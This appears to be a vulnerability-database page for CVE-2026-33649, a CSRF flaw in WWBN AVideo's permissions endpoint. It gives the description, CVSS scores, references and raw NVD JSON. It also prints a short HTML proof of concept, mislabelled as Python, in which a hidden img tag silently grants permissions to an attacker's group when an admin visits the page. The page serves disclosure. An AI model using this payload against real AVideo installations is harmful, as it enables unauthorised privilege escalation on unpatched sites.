CVE-2026-33649

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-33649 -->
<!-- Attacker hosts this HTML page and lures an admin to visit it -->
<html>
<body>
    <!-- Silent CSRF attack using img tag -->
    <img src="https://[target-site]/plugin/Permissions/setPermission.json.php?users_groups_id=[ATTACKER_GROUP_ID]&permission_code=[PERMISSION_CODE]" width="0" height="0" border="0">
    <p>If you are an admin, your permissions have been modified.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33649
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33649
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33649/
[4] VulDB https://vuldb.com/cve/CVE-2026-33649
[5] https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33649", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:41.070", "lastModified": "2026-03-25T14:54:19.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, el endpoint 'plugin/Permissions/setPermission.json.php' acepta parámetros GET para una operación de cambio de estado que modifica los permisos de grupos de usuarios. El endpoint no tiene validación de token CSRF, y la aplicación establece explícitamente 'session.cookie_samesite=None' en las cookies de sesión. Esto permite a un atacante no autenticado crear una página con etiquetas '' que, cuando es visitada por un administrador, concede silenciosamente permisos arbitrarios al grupo de usuarios del atacante — escalando al atacante a un acceso casi de administrador. Hasta el momento de la publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}